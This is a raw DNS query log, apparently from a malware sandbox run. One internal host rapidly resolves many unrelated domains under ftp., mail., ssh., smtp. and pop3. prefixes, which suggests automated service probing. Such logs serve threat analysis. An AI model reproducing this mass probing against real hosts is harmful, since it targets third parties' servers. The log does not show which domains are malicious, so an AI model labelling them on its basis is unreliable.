Nov 26, 2023 06:59:31.861558914 CET	192.168.2.4	1.1.1.1	0x3b23	Standard query (0)	upn-pe.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.865173101 CET	192.168.2.4	1.1.1.1	0x7893	Standard query (0)	www.perrisesd.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.895240068 CET	192.168.2.4	1.1.1.1	0xa7b8	Standard query (0)	www.beachrecruitment.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.922301054 CET	192.168.2.4	1.1.1.1	0xb7a0	Standard query (0)	www.harasduberry.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.926892996 CET	192.168.2.4	1.1.1.1	0xb2cc	Standard query (0)	www.ceuandalucia.es	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.928982019 CET	192.168.2.4	1.1.1.1	0xe636	Standard query (0)	www.grantstech.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.949949026 CET	192.168.2.4	1.1.1.1	0x2093	Standard query (0)	www.maxiv.lu.se	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.969814062 CET	192.168.2.4	1.1.1.1	0x8c92	Standard query (0)	www.hugedomains.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.028698921 CET	192.168.2.4	1.1.1.1	0x4c36	Standard query (0)	www.prettypollycleaning.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.050386906 CET	192.168.2.4	1.1.1.1	0x8d79	Standard query (0)	www.2brospw.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.094418049 CET	192.168.2.4	1.1.1.1	0x41cd	Standard query (0)	ftp.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.105905056 CET	192.168.2.4	1.1.1.1	0x4799	Standard query (0)	ww38.ondania.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.188091040 CET	192.168.2.4	1.1.1.1	0xfd0e	Standard query (0)	upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.190473080 CET	192.168.2.4	1.1.1.1	0x4edc	Standard query (0)	kidsrkids.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.193454027 CET	192.168.2.4	1.1.1.1	0x8a3b	Standard query (0)	ftp.aoiit.store	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.195760965 CET	192.168.2.4	1.1.1.1	0x67b0	Standard query (0)	www.grg17geblergasse.at	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.234529972 CET	192.168.2.4	1.1.1.1	0x3a18	Standard query (0)	pop3.elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.500984907 CET	192.168.2.4	1.1.1.1	0x2c66	Standard query (0)	ftp.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.504226923 CET	192.168.2.4	1.1.1.1	0xb50	Standard query (0)	www.avient.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.625855923 CET	192.168.2.4	1.1.1.1	0x216c	Standard query (0)	ftp.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.633387089 CET	192.168.2.4	1.1.1.1	0xe3f8	Standard query (0)	mail.bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.661544085 CET	192.168.2.4	1.1.1.1	0x85d5	Standard query (0)	ssh.gspousea.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.768130064 CET	192.168.2.4	1.1.1.1	0x91f7	Standard query (0)	relay.bayambnag.gov.ph	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.768131018 CET	192.168.2.4	1.1.1.1	0xd899	Standard query (0)	ftp.nohonetworks.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.769485950 CET	192.168.2.4	1.1.1.1	0xb1de	Standard query (0)	ftp.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.105252028 CET	192.168.2.4	1.1.1.1	0xf18d	Standard query (0)	cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.130682945 CET	192.168.2.4	1.1.1.1	0x4e72	Standard query (0)	cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.130683899 CET	192.168.2.4	1.1.1.1	0x5905	Standard query (0)	ftp.student.ub.ac.id	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.130893946 CET	192.168.2.4	1.1.1.1	0xb832	Standard query (0)	macisis.co.uk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.134996891 CET	192.168.2.4	1.1.1.1	0x1547	Standard query (0)	ftp.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.136322975 CET	192.168.2.4	1.1.1.1	0x5943	Standard query (0)	ftp.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.136754990 CET	192.168.2.4	1.1.1.1	0x3851	Standard query (0)	mailgate.adm.uksw.edu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.138885975 CET	192.168.2.4	1.1.1.1	0xa158	Standard query (0)	lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.140614986 CET	192.168.2.4	1.1.1.1	0x5e75	Standard query (0)	lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.140882015 CET	192.168.2.4	1.1.1.1	0x9992	Standard query (0)	adm.uksw.edu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.187506914 CET	192.168.2.4	1.1.1.1	0x506d	Standard query (0)	ftp.schor.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.191948891 CET	192.168.2.4	1.1.1.1	0xc8e0	Standard query (0)	student.ub.ac.id	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.202575922 CET	192.168.2.4	1.1.1.1	0xee0e	Standard query (0)	gspousea.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.202881098 CET	192.168.2.4	1.1.1.1	0x89df	Standard query (0)	carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.203969002 CET	192.168.2.4	1.1.1.1	0x1161	Standard query (0)	smtp.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.203969002 CET	192.168.2.4	1.1.1.1	0xbe28	Standard query (0)	ftp.macisis.co.uk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.206449032 CET	192.168.2.4	1.1.1.1	0x5167	Standard query (0)	yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.207484007 CET	192.168.2.4	1.1.1.1	0xff68	Standard query (0)	schor.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.253263950 CET	192.168.2.4	1.1.1.1	0x1e41	Standard query (0)	nohonetworks.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.260179043 CET	192.168.2.4	1.1.1.1	0xa7f8	Standard query (0)	ftp.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.260943890 CET	192.168.2.4	1.1.1.1	0xfb42	Standard query (0)	pixiil.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.261260986 CET	192.168.2.4	1.1.1.1	0x80d8	Standard query (0)	ftp.pixiil.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.261432886 CET	192.168.2.4	1.1.1.1	0xaf6	Standard query (0)	ftp.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.293636084 CET	192.168.2.4	1.1.1.1	0xb6fb	Standard query (0)	2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.295387030 CET	192.168.2.4	1.1.1.1	0xe563	Standard query (0)	ssh.adm.uksw.edu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.295387030 CET	192.168.2.4	1.1.1.1	0x247b	Standard query (0)	sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.298629999 CET	192.168.2.4	1.1.1.1	0xd2cb	Standard query (0)	mail.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.300533056 CET	192.168.2.4	1.1.1.1	0x1f36	Standard query (0)	ftp.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.302062988 CET	192.168.2.4	1.1.1.1	0x181f	Standard query (0)	mail.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.302062988 CET	192.168.2.4	1.1.1.1	0x1548	Standard query (0)	ftp.cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.325752020 CET	192.168.2.4	1.1.1.1	0x17b1	Standard query (0)	paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.326915979 CET	192.168.2.4	1.1.1.1	0xaa38	Standard query (0)	mail.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.327210903 CET	192.168.2.4	1.1.1.1	0x7614	Standard query (0)	pop3.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.331897974 CET	192.168.2.4	1.1.1.1	0x1cf9	Standard query (0)	ftp.gspousea.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.332670927 CET	192.168.2.4	1.1.1.1	0xf8	Standard query (0)	aoiit.store	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.344547033 CET	192.168.2.4	1.1.1.1	0xd28b	Standard query (0)	ftp.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.391014099 CET	192.168.2.4	1.1.1.1	0x2b6	Standard query (0)	ftp.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.391824961 CET	192.168.2.4	1.1.1.1	0x1229	Standard query (0)	ftp.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.392613888 CET	192.168.2.4	1.1.1.1	0xb71c	Standard query (0)	ftp.firemailbox.club	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.392664909 CET	192.168.2.4	1.1.1.1	0x9de5	Standard query (0)	ftp.tnav.ru	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.396166086 CET	192.168.2.4	1.1.1.1	0xd3f9	Standard query (0)	ftp.elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.402401924 CET	192.168.2.4	1.1.1.1	0xae9c	Standard query (0)	ftp.gstudent.ctu.edu.vn	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.419382095 CET	192.168.2.4	1.1.1.1	0xefd	Standard query (0)	ftp.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.423424006 CET	192.168.2.4	1.1.1.1	0xda21	Standard query (0)	ftp.pasarjohar.biz	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.426870108 CET	192.168.2.4	1.1.1.1	0xff26	Standard query (0)	ftp.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.438627005 CET	192.168.2.4	1.1.1.1	0xce55	Standard query (0)	ftp.xegge.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.438906908 CET	192.168.2.4	1.1.1.1	0xaa8	Standard query (0)	ftp.schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.439557076 CET	192.168.2.4	1.1.1.1	0xa493	Standard query (0)	ftp.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.440269947 CET	192.168.2.4	1.1.1.1	0xd570	Standard query (0)	privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.448787928 CET	192.168.2.4	1.1.1.1	0x65a7	Standard query (0)	mail.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.453680992 CET	192.168.2.4	1.1.1.1	0x9c3a	Standard query (0)	ftp.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.454371929 CET	192.168.2.4	1.1.1.1	0x54bf	Standard query (0)	mail.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.457859039 CET	192.168.2.4	1.1.1.1	0x56cb	Standard query (0)	ftp.bayambnag.gov.ph	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.458528042 CET	192.168.2.4	1.1.1.1	0x438b	Standard query (0)	mail.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.470277071 CET	192.168.2.4	1.1.1.1	0x5015	Standard query (0)	ftp.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.481523037 CET	192.168.2.4	1.1.1.1	0x13f5	Standard query (0)	ftp.chandigarhuniversityazure.onmicrosoft.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.482939959 CET	192.168.2.4	1.1.1.1	0x54a8	Standard query (0)	mail.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.484529018 CET	192.168.2.4	1.1.1.1	0xc7c5	Standard query (0)	rech.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.704476118 CET	192.168.2.4	1.1.1.1	0xfae3	Standard query (0)	ftp.goldenfishcompany.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.717467070 CET	192.168.2.4	1.1.1.1	0xbf1d	Standard query (0)	www.knu.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.722949982 CET	192.168.2.4	1.1.1.1	0x45e5	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.739517927 CET	192.168.2.4	1.1.1.1	0xfea9	Standard query (0)	www.bunasta.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.749047041 CET	192.168.2.4	1.1.1.1	0xb538	Standard query (0)	mail.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.750351906 CET	192.168.2.4	1.1.1.1	0xb88	Standard query (0)	mail.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.751966953 CET	192.168.2.4	1.1.1.1	0x4d7e	Standard query (0)	mail.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.752172947 CET	192.168.2.4	1.1.1.1	0x8971	Standard query (0)	mail.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.753062963 CET	192.168.2.4	1.1.1.1	0x3d13	Standard query (0)	ftp.healteas.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.753397942 CET	192.168.2.4	1.1.1.1	0xbc83	Standard query (0)	ftp.matttux.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.753493071 CET	192.168.2.4	1.1.1.1	0x7357	Standard query (0)	mail.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.753782988 CET	192.168.2.4	1.1.1.1	0x30d0	Standard query (0)	imap.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.754031897 CET	192.168.2.4	1.1.1.1	0xd4fd	Standard query (0)	mail.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.801793098 CET	192.168.2.4	1.1.1.1	0x73d6	Standard query (0)	ftp.5.e9mbw4gh	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.802231073 CET	192.168.2.4	1.1.1.1	0xa861	Standard query (0)	ftp.bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.807529926 CET	192.168.2.4	1.1.1.1	0xbb7f	Standard query (0)	mail.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.812458038 CET	192.168.2.4	1.1.1.1	0x1126	Standard query (0)	mail.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.827400923 CET	192.168.2.4	1.1.1.1	0xc711	Standard query (0)	ssh.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.828819036 CET	192.168.2.4	1.1.1.1	0xc5ae	Standard query (0)	ftp.utlinks.om	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.829176903 CET	192.168.2.4	1.1.1.1	0xab4d	Standard query (0)	ftp.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.829457998 CET	192.168.2.4	1.1.1.1	0x690a	Standard query (0)	ftp.ippals.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.832361937 CET	192.168.2.4	1.1.1.1	0xfea4	Standard query (0)	mail.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.894454956 CET	192.168.2.4	1.1.1.1	0xf1ba	Standard query (0)	www.integraledu.hr	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.983819962 CET	192.168.2.4	1.1.1.1	0x633	Standard query (0)	ssh.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.025192976 CET	192.168.2.4	1.1.1.1	0xec9a	Standard query (0)	mail.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.025976896 CET	192.168.2.4	1.1.1.1	0xc493	Standard query (0)	ssh.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.025976896 CET	192.168.2.4	1.1.1.1	0xfec1	Standard query (0)	bayambnag.gov.ph	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.026175976 CET	192.168.2.4	1.1.1.1	0xe495	Standard query (0)	xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.082783937 CET	192.168.2.4	1.1.1.1	0x18ca	Standard query (0)	ssh.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.084161043 CET	192.168.2.4	1.1.1.1	0xa0e3	Standard query (0)	ssh.aoiit.store	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.097521067 CET	192.168.2.4	1.1.1.1	0x2c1d	Standard query (0)	ssh.schor.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.112566948 CET	192.168.2.4	1.1.1.1	0xf113	Standard query (0)	ssh.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.170115948 CET	192.168.2.4	1.1.1.1	0xa569	Standard query (0)	gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.172454119 CET	192.168.2.4	1.1.1.1	0x6d4a	Standard query (0)	route1.mx.cloudflare.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.736614943 CET	192.168.2.4	1.1.1.1	0xd93f	Standard query (0)	ssh.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.736921072 CET	192.168.2.4	1.1.1.1	0xa36d	Standard query (0)	ssh.matttux.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.737667084 CET	192.168.2.4	1.1.1.1	0xa4a0	Standard query (0)	ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.739182949 CET	192.168.2.4	1.1.1.1	0x1a31	Standard query (0)	ssh.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.102255106 CET	192.168.2.4	1.1.1.1	0x7e41	Standard query (0)	ssh.goldenfishcompany.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.114290953 CET	192.168.2.4	1.1.1.1	0xea49	Standard query (0)	mailgate.elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.114290953 CET	192.168.2.4	1.1.1.1	0xfea4	Standard query (0)	ssh.firemailbox.club	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.114639044 CET	192.168.2.4	1.1.1.1	0x9c3a	Standard query (0)	ssh.5.e9mbw4gh	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.114897966 CET	192.168.2.4	1.1.1.1	0xe776	Standard query (0)	ssh.gstudent.ctu.edu.vn	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.115607977 CET	192.168.2.4	1.1.1.1	0xde2f	Standard query (0)	ssh.bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.115607977 CET	192.168.2.4	1.1.1.1	0x5b66	Standard query (0)	ssh.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.118237972 CET	192.168.2.4	1.1.1.1	0xea6c	Standard query (0)	ssh.pasarjohar.biz	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.118237972 CET	192.168.2.4	1.1.1.1	0x1c6b	Standard query (0)	pasarjohar.biz	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.374453068 CET	192.168.2.4	1.1.1.1	0xa1b2	Standard query (0)	ssh.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.377177000 CET	192.168.2.4	1.1.1.1	0x29b4	Standard query (0)	ssh.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.401623011 CET	192.168.2.4	1.1.1.1	0x9dbf	Standard query (0)	ssh.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.403937101 CET	192.168.2.4	1.1.1.1	0x9298	Standard query (0)	y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.406594992 CET	192.168.2.4	1.1.1.1	0x38bc	Standard query (0)	ssh.xegge.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.406594992 CET	192.168.2.4	1.1.1.1	0x46ec	Standard query (0)	ssh.ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.406594992 CET	192.168.2.4	1.1.1.1	0xfbc	Standard query (0)	ssh.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.407300949 CET	192.168.2.4	1.1.1.1	0x9ac5	Standard query (0)	gstudent.ctu.edu.vn	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.409331083 CET	192.168.2.4	1.1.1.1	0x7675	Standard query (0)	ssh.nohonetworks.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.409331083 CET	192.168.2.4	1.1.1.1	0x25a	Standard query (0)	ssh.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.409331083 CET	192.168.2.4	1.1.1.1	0x35a0	Standard query (0)	mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.410506964 CET	192.168.2.4	1.1.1.1	0xb5a6	Standard query (0)	ssh.pixiil.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.410809040 CET	192.168.2.4	1.1.1.1	0xba8b	Standard query (0)	chandigarhuniversityazure.onmicrosoft.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.411196947 CET	192.168.2.4	1.1.1.1	0xb479	Standard query (0)	firemailbox.club	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.412201881 CET	192.168.2.4	1.1.1.1	0x4976	Standard query (0)	ssh.chandigarhuniversityazure.onmicrosoft.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.469068050 CET	192.168.2.4	1.1.1.1	0x6e76	Standard query (0)	kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.473553896 CET	192.168.2.4	1.1.1.1	0x83a0	Standard query (0)	ftp.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.485340118 CET	192.168.2.4	1.1.1.1	0x8657	Standard query (0)	ssh.macisis.co.uk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.485948086 CET	192.168.2.4	1.1.1.1	0xaeca	Standard query (0)	ssh.cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.486715078 CET	192.168.2.4	1.1.1.1	0x9340	Standard query (0)	ssh.student.ub.ac.id	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.499578953 CET	192.168.2.4	1.1.1.1	0x4e1b	Standard query (0)	ssh.tnav.ru	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.499578953 CET	192.168.2.4	1.1.1.1	0x44ce	Standard query (0)	ssh.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.500211000 CET	192.168.2.4	1.1.1.1	0xeb25	Standard query (0)	highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.500211000 CET	192.168.2.4	1.1.1.1	0x4d31	Standard query (0)	ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.500211000 CET	192.168.2.4	1.1.1.1	0x5023	Standard query (0)	dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.500399113 CET	192.168.2.4	1.1.1.1	0x2308	Standard query (0)	xegge.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.501053095 CET	192.168.2.4	1.1.1.1	0xed9d	Standard query (0)	mailgate.utlinks.om	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.501053095 CET	192.168.2.4	1.1.1.1	0x6c3	Standard query (0)	ssh.healteas.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.501053095 CET	192.168.2.4	1.1.1.1	0x4ae0	Standard query (0)	mailgate.gstudent.ctu.edu.vn	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.501470089 CET	192.168.2.4	1.1.1.1	0x66ed	Standard query (0)	member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.501694918 CET	192.168.2.4	1.1.1.1	0xd732	Standard query (0)	ftp.upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.501846075 CET	192.168.2.4	1.1.1.1	0xb62e	Standard query (0)	relay.awb-apparatebau.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.502319098 CET	192.168.2.4	1.1.1.1	0x2618	Standard query (0)	ssh.schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.502588034 CET	192.168.2.4	1.1.1.1	0xe448	Standard query (0)	relay.maxiv.lu.se	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.502918005 CET	192.168.2.4	1.1.1.1	0xca07	Standard query (0)	ssh.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.502918005 CET	192.168.2.4	1.1.1.1	0x8dce	Standard query (0)	smtp.schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.503233910 CET	192.168.2.4	1.1.1.1	0xde07	Standard query (0)	ssh.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.503361940 CET	192.168.2.4	1.1.1.1	0x1d11	Standard query (0)	smtp.bunasta.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.503745079 CET	192.168.2.4	1.1.1.1	0x30c0	Standard query (0)	bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.514672041 CET	192.168.2.4	1.1.1.1	0x113b	Standard query (0)	upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.519494057 CET	192.168.2.4	1.1.1.1	0x964b	Standard query (0)	ftp.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.519494057 CET	192.168.2.4	1.1.1.1	0x9762	Standard query (0)	ssh.ippals.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.519494057 CET	192.168.2.4	1.1.1.1	0x8fe9	Standard query (0)	ssh.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.534351110 CET	192.168.2.4	1.1.1.1	0xef40	Standard query (0)	ssh.elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.544296980 CET	192.168.2.4	1.1.1.1	0x7215	Standard query (0)	www.rech.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.544296980 CET	192.168.2.4	1.1.1.1	0x26ae	Standard query (0)	ssh.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.544723988 CET	192.168.2.4	1.1.1.1	0x4b97	Standard query (0)	ms86978078.msv1.invalid	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.558655977 CET	192.168.2.4	1.1.1.1	0x14e2	Standard query (0)	utlinks.om	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.558655977 CET	192.168.2.4	1.1.1.1	0xf614	Standard query (0)	ssh.bayambnag.gov.ph	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.559990883 CET	192.168.2.4	1.1.1.1	0x597c	Standard query (0)	ssh.utlinks.om	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.564796925 CET	192.168.2.4	1.1.1.1	0x8c55	Standard query (0)	schmith.net	A (IP address)	IN (0x0001)	false
